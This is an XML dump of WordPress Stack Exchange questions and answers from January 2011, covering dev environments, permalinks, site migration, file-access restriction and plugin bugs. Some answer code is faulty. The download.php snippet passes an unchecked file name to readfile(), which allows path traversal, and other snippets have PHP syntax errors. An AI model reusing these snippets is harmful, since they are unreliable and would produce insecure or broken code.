  <row Id="6758" PostTypeId="2" ParentId="6756" CreationDate="2011-01-11T21:55:30.547" Score="1" ViewCount="" Body="&lt;p&gt;Ah, see it in Firefox (Opera seems to fix it on the fly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The %20 you are seeing is encoded space character. First thing to check would be to verify that there are no unwanted spaces in form you use to setup links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also could you please add link to specific plugin you use? Quick search gets several similarly named in official repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of plugin are you using? It doesn't seem to be latest one. Older versions (I looked at 2.0 which seems closer to what you have live) seems to have possible markup issues because of new lines stuffed in links attributes where they shouldn't be.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-12T06:52:59.237" LastActivityDate="2011-01-12T06:52:59.237" CommentCount="8" />
  <row Id="6759" PostTypeId="2" ParentId="5407" CreationDate="2011-01-11T22:08:29.847" Score="1" ViewCount="" Body="&lt;p&gt;FYI everyone, it looks like with the new profile for fan pages - there's no longer an RSS feed available. My RSS has broken, and there's no longer the RSS icon mentioned in Firefox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at an old profile page, it still appears, but the new profile page has been upgraded and this has been removed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My assumption is they are trying to get everyone to use their official Recent Activity widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI&lt;/p&gt;&#xA;" LastActivityDate="2011-01-11T22:08:29.847" CommentCount="2" />
  <row Id="6760" PostTypeId="2" ParentId="6741" CreationDate="2011-01-11T22:10:07.950" Score="1" ViewCount="" Body="&lt;p&gt;I've found that 9 times out of 10, a 404 for a direct link to a file is because the file isn't actually there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try placing a text file (or html or whatever) in the same directory as your css file and see if you can hit it with a browser (by copying/pasting the URL to your css file and just replacing the filename). Be very careful to make sure you're visiting the same directory during this test. If you can't get to the test file, you've got the wrong path altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on Apache, it shouldn't be a permissions issue. You'd get a 403 rather than the WordPress 404. I've seen this be a permissions issue on IIS though. If you're on IIS, right-click on the file, go to the security tab, and make sure the 'everyone' user has full control (just as a test). If this fixes your problem, it's a perms issue, and you'll have to figure out what level of security to scale back to.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-11T22:10:07.950" />
  <row Id="6761" PostTypeId="2" ParentId="6753" CreationDate="2011-01-11T22:11:22.660" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if(function_exists('the_views')) the_views();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-11T22:11:22.660" />
  <row Id="6762" PostTypeId="1" AcceptedAnswerId="6763" CreationDate="2011-01-11T22:42:42.090" Score="2" ViewCount="114" Body="&lt;p&gt;I have Win7 32-bit Professional and I want to start learning to program and skin WordPress. My hosts will likely be LAMP, so I was going to run Win versions of those tools locally. Should I just get a linux VM, or will I be able to transfer what I do from the Win environment to the *nix hosting?&lt;/p&gt;&#xA;" OwnerUserId="2438" LastActivityDate="2011-04-01T10:14:33.463" Title="Win7 Dev Environment" Tags="&lt;development&gt;" AnswerCount="6" />
  <row Id="6763" PostTypeId="2" ParentId="6762" CreationDate="2011-01-11T22:56:42.377" Score="3" ViewCount="" Body="&lt;p&gt;I'd recommend setting up &lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;XAMPP&lt;/a&gt;.  It will allow you to run an Apache/PHP/MySQL environment on Windows.  You shouldn't have any problem moving things over from your local XAMPP setup to a LAMP setup with your host.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-11T22:56:42.377" />
  <row Id="6764" PostTypeId="2" ParentId="6723" CreationDate="2011-01-11T23:21:01.667" Score="1" ViewCount="" Body="&lt;p&gt;You may use my plugin &lt;a href=&quot;https://github.com/toscho/WP-Magic-Widgets&quot; rel=&quot;nofollow&quot;&gt;Magic Widgets&lt;/a&gt;. It creates a sidebar (widget) area on four actions. Plus, you get a text widget that outputs exactly the markup you put therein. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a second plugin for the comment form. After activation you can place a widget on any place there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Kempy.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don’t have to change the theme’s code, and you can even switch themes, and the widgets will stay in place.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-11T23:21:01.667" />
  <row Id="6765" PostTypeId="1" CreationDate="2011-01-11T23:34:22.700" Score="0" ViewCount="185" Body="&lt;p&gt;I have been working around with adding stuff in user profile edit area. i am done with that but there is one thin i am unable to sort out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am planning to do is to redirect a user to a custom page (custom member page) after they successfully edited their profile (wp-admin/profile.php) . &#xA;In case of error they stay there. &#xA;Help is appreciate :) &#xA;thanks &lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-06-28T13:53:46.683" Title="Redirecting user after updating profile?" Tags="&lt;users&gt;&lt;redirect&gt;" AnswerCount="2" />
  <row Id="6766" PostTypeId="1" AcceptedAnswerId="6769" CreationDate="2011-01-12T00:02:22.090" Score="0" ViewCount="79" Body="&lt;p&gt;I am creating a post and would like to link to other post on my blog. What is the best way to do this? I don't want to hard link in case I update the post title. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2440" LastActivityDate="2011-01-12T00:11:56.303" Title="How to link to local post" Tags="&lt;links&gt;" AnswerCount="2" />
  <row Id="6767" PostTypeId="2" ParentId="6728" CreationDate="2011-01-12T00:07:09.920" Score="2" ViewCount="" Body="&lt;p&gt;This may be a HTML centric question, but as it happens WordPress does have some helper functions for dealing with checkboxes, select dropdowns, disabled inputs, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sillybean.net/2010/09/wordpress-hidden-gems-checked-selected-and-disabled/&quot; rel=&quot;nofollow&quot;&gt;http://sillybean.net/2010/09/wordpress-hidden-gems-checked-selected-and-disabled/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rarst also pointed this out in his comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always use these now, they look more elegant then the self-written alternative methods.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-12T00:07:09.920" />
  <row Id="6768" PostTypeId="2" ParentId="6766" CreationDate="2011-01-12T00:11:07.363" Score="2" ViewCount="" Body="&lt;p&gt;Use a shortcode. I’ve made one for the same reason in my &lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;shortcode plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Install the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/simply-show-ids/&quot; rel=&quot;nofollow&quot;&gt;Simply Show IDs&lt;/a&gt; to find the post IDs. Insert a shortcode into your posts that refers to the ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[link id=42 title=&quot;Foo&quot; class=&quot;bar&quot;]Hello World![/link]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-12T00:11:07.363" />
  <row Id="6769" PostTypeId="2" ParentId="6766" CreationDate="2011-01-12T00:11:56.303" Score="4" ViewCount="" Body="&lt;p&gt;Use the ugly link instead of the pretty link. For example, if your post id is 123, you can link to &lt;a href=&quot;http://www.yoursite.com/?p=123&quot; rel=&quot;nofollow&quot;&gt;http://www.yoursite.com/?p=123&lt;/a&gt;. This will automatically get rewritten to your current pretty permalink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do it relative from the root, it also keeps the link intact if you change your domain name. (ex. href=&quot;/?p=123&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the post ID, hover over its &quot;edit&quot; link in the WordPress admin. Look at the target URL, and you'll see a &quot;post=1234&quot;. The number is your post ID.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-12T00:11:56.303" CommentCount="1" />
  <row Id="6770" PostTypeId="1" CreationDate="2011-01-12T01:01:32.533" Score="0" ViewCount="65" Body="&lt;p&gt;This is my first post here, so be gentle if my question is stupid :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a potential client who has a site with about 1500 pages, 1000 of which are product pages for an online store. To give you a better idea, it's a dermatologists' site whose main offerings are obviously the doctors services, but they also sell some skin products on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is currently written in ASP and I really, really want to migrate it to Word Press so I can edit content easily, do SEO easier, automate things like Google Analytics tracking code installation rather than manually put the piece of code in each page, etc, etc., etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Is the site too large to move to WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) If I move the site to WordPress, should I go ahead and plan on moving the site to a better hosting server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) How hard is it to migrate a site like this? Unless it's as easy as using an FTP client and moving the files around, I'd really like to hire someone to do it. What type of fees would I be looking at to have someone professionally migrate the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Lastly, if you think this is a bad idea, what alternative might you suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ahead of time for all the help! I look forward to getting to know some folks around here.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-12T03:47:44.807" Title="Is a site with 1,500 pages, (1000 of which are E-Commerce Pages) Too Big to Migrate to WordPress?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="6771" PostTypeId="1" AcceptedAnswerId="6913" CreationDate="2011-01-12T02:17:13.100" Score="6" ViewCount="280" Body="&lt;p&gt;The built-in ability to restore revisions of posts and pages in Wordpress is great.  Is there something that gives the same power to template files in the theme-editor?  Perhaps a plugin?  &lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-01-12T03:06:33.927" LastActivityDate="2011-01-14T06:02:44.913" Title="Best way to version control WordPress template files?" Tags="&lt;version-control&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" />
  <row Id="6772" PostTypeId="2" ParentId="6762" CreationDate="2011-01-12T02:49:14.777" Score="0" ViewCount="" Body="&lt;p&gt;I recommend you follow the &lt;a href=&quot;http://www.ricocheting.com/how-to-install-on-windows/&quot; rel=&quot;nofollow&quot;&gt;Ricocheting&lt;/a&gt; tutorial - I found it years ago and keep referring back to it whenever I set up a new dev system. It is current, and kept updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it this takes more work, but you will learn more about server set up and configuration.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-01-12T02:49:14.777" />
  <row Id="6773" PostTypeId="2" ParentId="6770" CreationDate="2011-01-12T02:58:03.853" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;1500 pages aren’t that much. Performance problems may appear if you choose a &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;bad permalink setting&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not trust the &lt;a href=&quot;http://codex.wordpress.org/Hosting_WordPress&quot; rel=&quot;nofollow&quot;&gt;official requirements&lt;/a&gt;. I suggest PHP 5.3+, MySQL 5.1.51+, and at least 128 MB RAM.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The main problem is usually the structure of the old database. If you are able to write a good importer, it shouldn’t be that hard. &#xA;Make sure your old URLs are mapped to the new WordPress permalink settings. There are plugins , and WordPress has a field &lt;code&gt;_wp_old_slug&lt;/code&gt; for some cases, but I’d recommend a a solution via .htaccess/httpd.conf and mod_rewrite.&#xA;The price depends on your dead line, the complexity of the theme and much more. :) &#xA;I wouldn’t take less than 2500 € (~3250 US$). Ask on &lt;a href=&quot;http://jobs.wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;jobs.wordpress.net&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress isn’t made for stores. There are many plugins … but first make tests to see if they meet your needs. You may combine an online shop system like OsCommerce, Magento or Zen Cart with WordPress. In the long run, that could save you much work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-12T03:47:44.807" LastActivityDate="2011-01-12T03:47:44.807" CommentCount="3" />
  <row Id="6774" PostTypeId="1" AcceptedAnswerId="6781" CreationDate="2011-01-12T03:57:54.517" Score="0" ViewCount="389" Body="&lt;p&gt;Is there any way at all to restrict direct access to files within a specific folder to only specific wordpress users that have that specific capability set?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-01-14T08:23:11.537" Title="Restricting access to files within a specific folder" Tags="&lt;media&gt;&lt;uploads&gt;&lt;media-library&gt;&lt;private&gt;&lt;privileges&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="6775" PostTypeId="2" ParentId="6741" CreationDate="2011-01-12T04:17:49.970" Score="-1" ViewCount="" Body="&lt;p&gt;Turns out the issue was due to my misunderstanding of how wordpress.org packages the plugin upon download. That caused some path issues I was not aware of, but I've tracked them down and fixed them. Thanks anyway guys.&lt;/p&gt;&#xA;" OwnerUserId="2433" LastActivityDate="2011-01-12T04:17:49.970" CommentCount="1" />
  <row Id="6776" PostTypeId="2" ParentId="6697" CreationDate="2011-01-12T04:58:05.500" Score="0" ViewCount="" Body="&lt;p&gt;Here is the link that i mention for my question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dameian.com/12/make-a-custom-wordpress-gallery-from-post-image-attachments/&quot; rel=&quot;nofollow&quot;&gt;http://dameian.com/12/make-a-custom-wordpress-gallery-from-post-image-attachments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i need to make the image linkable to the image attachment page ( image.php ) and if i hover the image there should be a title appear and alternate text available too taken from the image name...&lt;/p&gt;&#xA;" LastActivityDate="2011-01-12T04:58:05.500" CommentCount="1" />
  <row Id="6777" PostTypeId="2" ParentId="6762" CreationDate="2011-01-12T06:17:00.423" Score="1" ViewCount="" Body="&lt;p&gt;Windows stack of Apache / MySQL / PHP works just fine. The one scenario you might need Linux VM is to test Linux-specific tools (I did it when tinkering with &lt;a href=&quot;http://mirror.facebook.net/facebook/xhprof/doc.html&quot; rel=&quot;nofollow&quot;&gt;XHProf&lt;/a&gt; which sadly doesn't have Windows build).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to go over this question (a lot of good stuff covered):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-and-plugin-development&quot;&gt;Software for WordPress Theme and Plugin Development?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T06:17:00.423" />
  <row Id="6778" PostTypeId="2" ParentId="6762" CreationDate="2011-01-12T06:20:57.290" Score="0" ViewCount="" Body="&lt;p&gt;For my Windows 7 Partition, I use &lt;a href=&quot;http://www.easyphp.org/&quot; rel=&quot;nofollow&quot;&gt;EasyPHP&lt;/a&gt;, the main reason I use easyphp is that it is a WAMP server, but it's also portable (I keep a copy on my main flash drive so I can develop on any windows computer (and some Linux computers, it works with Wine too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the nicest features EasyPHP has is that you can download module versions which have EasyPHP plus the module installed (the modules range from wordpress to drupal and more). The module version have everything already setup, so all you have to do is run it and go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I like best about EasyPHP is that you can place it in any directory (so I've got it installed in c:/users/don/localhost), instead of having a predetermined location for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one little problem with the current version (at least for the main one, don't know about the modules), which is that by default it uses port 8888, so you need to open httpd.conf and change all copies of 127.0.0.1:8888 with 127.0.0.1:80 so that you don't need to type the port to get to the site. (speaking of the conf file, Easy also keeps all the conf files in one folder so you don't need to hunt them down when you're looking for them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential downside to EasyPHP is that it doesn't start on login. This is an easily fixable thing though, because you can just add it to your startup list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is generally no difference between a lamp server and a wamp server besides the operating system, they've both got apache mysql and php. I've found no differences between using EasyPHP and using self setup server on my linux installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed with other simple WAMP servers (like WAMP and XAMPP) that they quit frequently, and unexpectedly, and occasionally just stop working completely and need to be reinstalled (at least they did for me, when I was running vista). I don't mean to knock on other answers, but I haven't had good experiences with other wamp servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written up a little article on &lt;a href=&quot;http://oprftech.co.cc/new/localamp.html&quot; rel=&quot;nofollow&quot;&gt;setting up a local *amp server&lt;/a&gt; for my school's technology club if you're interested. It uses EasyPHP for the windows version.&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2011-01-12T06:20:57.290" />
  <row Id="6779" PostTypeId="2" ParentId="5248" CreationDate="2011-01-12T07:28:50.297" Score="0" ViewCount="" Body="&lt;p&gt;I'm not completely sure what you want, but I noticed with position that echo not always give the right position try to build up a large string and then echo the complete results or just return the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$output .= echo $prefix;&#xA;$output .= echo $tweetprefix;&#xA;$output .= echo $cleaner[0];&#xA;$output .= echo $tweetsuffix;&#xA;$output .= echo $suffix;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;return $output &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to do it with echo use comma's to seperate the strings like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo $string1, $string2, $string3, etc.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-01-12T07:42:45.563" LastActivityDate="2011-01-12T07:42:45.563" CommentCount="1" />
  <row Id="6780" PostTypeId="1" CreationDate="2011-01-12T08:13:44.920" Score="0" ViewCount="64" Body="&lt;p&gt;hello&#xA;I have a multisite where i am creating a user from a php file by using the below given code...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;define('WP_USE_THEMES', false);&#xA;  require_once (dirname (dirname&#xA;  (&lt;strong&gt;FILE&lt;/strong&gt;)) .&#xA;  '/mygroup/wp-blog-header.php');&#xA;  require_once (dirname (dirname&#xA;  (&lt;strong&gt;FILE&lt;/strong&gt;)) . '/mygroup/wp-includes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$org_username=$_SESSION['user_name'];&#xA;  $org_password=$_SESSION['org_password'];&#xA;  $org_email=$_SESSION['org_email'];&#xA;  $user_id =&#xA;  wp_create_user($org_username,&#xA;  $org_password, $org_email) ;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I want to create a blog for the same user.&#xA;How Do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="2445" LastActivityDate="2011-06-11T11:00:39.253" Title="creating new blog using php" Tags="&lt;blog-page&gt;" AnswerCount="1" />
  <row Id="6781" PostTypeId="2" ParentId="6774" CreationDate="2011-01-12T08:45:31.757" Score="2" ViewCount="" Body="&lt;p&gt;The easiest php solution would be to make a download script. It checks if the user has the right permissions and serves the file to the webclient. Or my preference setup a folder outside your web root and put the files there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the file permissions with no anonymous access and let the webserver read them and output them in a php file like this. The below code reads the file and sents it to the browser.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Expires: 0&quot;); &#xA;header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;); &#xA;header(&quot;Cache-Control: private&quot;,false); &#xA;header('Content-disposition: attachment; filename='. $file;&#xA;header(&quot;Content-Transfer-Encoding:  binary&quot;); &#xA;header(&quot;Content-Length: &quot;. filesize(ABSPATH.$dir.$file); &#xA;readfile($dir.$file);&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit 14-1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a normal upload box and when the file gets uploaded move it to a folder outside of your webroot directory (this folder can not be accessed by users through http, only the webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if (move_uploaded_file( $_FILES['Filedata']['tmp_name'] , $upload_dir.$filename ) ) {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// code to do after the file has been copied succesfully. Update your database or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&#xA;$upload_dir.$filename is the full path to the directory outside the www folder. &#xA;The file can now only be accessed by the webserver. Store the location in a database with uploader info. Or create subdirectories for each user. You need something to differentiate the files for each user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you want to download a file create a script called download.php&#xA;In that script you check if the user has rights to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;global $user;&#xA;if ($user-&gt;id == $uploaded_user_id) {&#xA;    header(&quot;Expires: 0&quot;); &#xA;    header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;); &#xA;    header(&quot;Cache-Control: private&quot;,false); &#xA;    header('Content-disposition: attachment; filename='. $file;&#xA;    header(&quot;Content-Transfer-Encoding:  binary&quot;); &#xA;    header(&quot;Content-Length: &quot;. filesize(ABSPATH.$upload_dir.$file); &#xA;    readfile($upload_dir.$file);&#xA;    exit();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you want to pass a file_id or name to the download script.&#xA;so craft the link like url/download.php?file=$file. You have to call this directly or at the early stages of your plugin or you will get the headers already sent message. The script will check if the user has rights and start to output binary data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be something like this, hope it helps. Its not the complete but should get you started.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-01-14T08:23:11.537" LastActivityDate="2011-01-14T08:23:11.537" CommentCount="1" />
  <row Id="6782" PostTypeId="2" ParentId="6780" CreationDate="2011-01-12T09:02:17.147" Score="1" ViewCount="" Body="&lt;p&gt;this would do the trick? &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/wpmu_create_blog&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WPMU_Functions/wpmu_create_blog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-12T09:02:17.147" />
  <row Id="6783" PostTypeId="1" CreationDate="2011-01-12T09:28:17.840" Score="0" ViewCount="122" Body="&lt;p&gt;I just added a new contact page on my blog, and I use the Contact Form 7 plugin. For some reason, when I go to my blog now, it constantly redirects to the new contact page! I looked at .htaccess files - nothing seem to have been changes. Anybody has any idea why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I remove the contact page, my blog still redirects to /blog/contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I managed to find the cause of the problem, and I posted a solution below.&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditorDisplayName="" LastEditDate="2011-01-12T09:52:53.400" LastActivityDate="2011-01-18T11:32:17.473" Title="Blog keeps redirecting to the contact page" Tags="&lt;redirect&gt;&lt;contact-form-7&gt;" AnswerCount="3" />
  <row Id="6784" PostTypeId="2" ParentId="6783" CreationDate="2011-01-12T09:40:15.200" Score="0" ViewCount="" Body="&lt;p&gt;What settings have been set in the reading tab of the settings menu? if the radio button 'static page' is selected, switch it over to your latest posts&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-12T09:40:15.200" CommentCount="1" />
  <row Id="6785" PostTypeId="2" ParentId="6783" CreationDate="2011-01-12T09:47:52.137" Score="1" ViewCount="" Body="&lt;p&gt;After looking for the problem for a while, I decided to search in the MySQL database for the word &quot;contact&quot;, and I noticed that a table called &lt;code&gt;wp_redirection_items&lt;/code&gt; indeed contained an entry which redirected from &lt;code&gt;/blog/&lt;/code&gt; to &lt;code&gt;/blog/contact&lt;/code&gt;. A quick Google search has led me to &lt;a href=&quot;http://urbangiraffe.com/support/topic/home-page-is-redirecting-to-another-wp-page-without-my-instruction-to-do-so&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, explaining the problem - it's caused by the &lt;code&gt;Redirection&lt;/code&gt; plugin's URL Monitoring feature. I ended up manually removing the offending entry from the database, and it solved my problem.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2011-01-12T09:47:52.137" />
  <row Id="6786" PostTypeId="1" CreationDate="2011-01-12T09:55:13.070" Score="0" ViewCount="92" Body="&lt;p&gt;I also posted this question to the &lt;a href=&quot;http://wordpress.org/support/topic/plugin-twitter-tools-hashtags-not-added-when-posting-from-windows-live-writer?replies=1&quot; rel=&quot;nofollow&quot;&gt;plugin support page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have specified the wanted hashtags in the options page for Twitter Tools, however, if I post from Windows Live Writer, the hashtags are not being added to the tweet. Only posting an online draft manually from WordPress itself causes the tweet to be sent out with the hashtags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows why that is, or how to solve it?&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2011-01-12T09:55:13.070" Title="Twitter Tools plugin: Hashtags are not added when posting from Windows Live Writer" Tags="&lt;plugins&gt;&lt;twitter&gt;" />
  <row Id="6787" PostTypeId="1" CreationDate="2011-01-11T17:28:53.160" Score="0" ViewCount="462" Body="&lt;p&gt;This may be a RTFM kind of thing, so I'll apologize up front. I've been asked by a friend I used to freelance for if there's a solution in Wordpress where users an login, then they can upload their own files in a &quot;my docs&quot; kind of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used WP, so before I dig into their info I thought I'd see if anyone here can confirm or maybe point me to a resource. It's one of those &quot;I'll look up at lunch and get back to you&quot; things, which is why I'm bugging you all before reading the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastEditorUserId="2370" LastEditorDisplayName="" LastEditDate="2011-01-21T14:11:53.807" LastActivityDate="2011-03-23T01:37:59.513" Title="Wordpress with user login and file manager support" Tags="&lt;file-manager&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6788" PostTypeId="1" CreationDate="2011-01-12T10:14:41.403" Score="0" ViewCount="279" Body="&lt;p&gt;Can i use   &lt;b&gt; dynamic_sidebar('first-footer-widget-area');&lt;/b&gt; directly in &lt;i&gt;footer.php&lt;/i&gt;?Any change to made in &lt;i&gt;functions.php&lt;/i&gt; page? I am using twenty ten theme.&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-04T16:37:41.243" LastActivityDate="2011-08-26T10:34:58.707" Title="widgets in footer?" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="2" />
  <row Id="6789" PostTypeId="1" AcceptedAnswerId="6791" CreationDate="2011-01-12T10:41:57.090" Score="0" ViewCount="387" Body="&lt;p&gt;This is a similar question to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2216/sorting-for-each-custom-taxonomy&quot;&gt;Sorting for each custom taxonomy&lt;/a&gt;, but I don't feel like it was clearly asked or responded to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type &quot;player&quot; and a custom taxonomy &quot;player_details&quot;. The player details consists of things like Height, Weight, Country, Jersey #, etc. I want to add a custom filter / sorting mechanism to my player archives so that you could sort by height, weight, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in query_posts function allows you to sort by date, title, etc, but I don't see how to sort by taxonomy. I realize that if the taxonomy details, were in custom fields, I could sort it that way, but that defeats the purpose of storing it in a custom taxonomy, which is where it should be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this that I'm not aware of, or is it going to require some deep hacking into Custom Queries? &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Queries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2011-01-12T11:20:20.050" Title="Sorting the Loop by Taxonomy Value" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;sort&gt;" AnswerCount="1" FavoriteCount="1" />
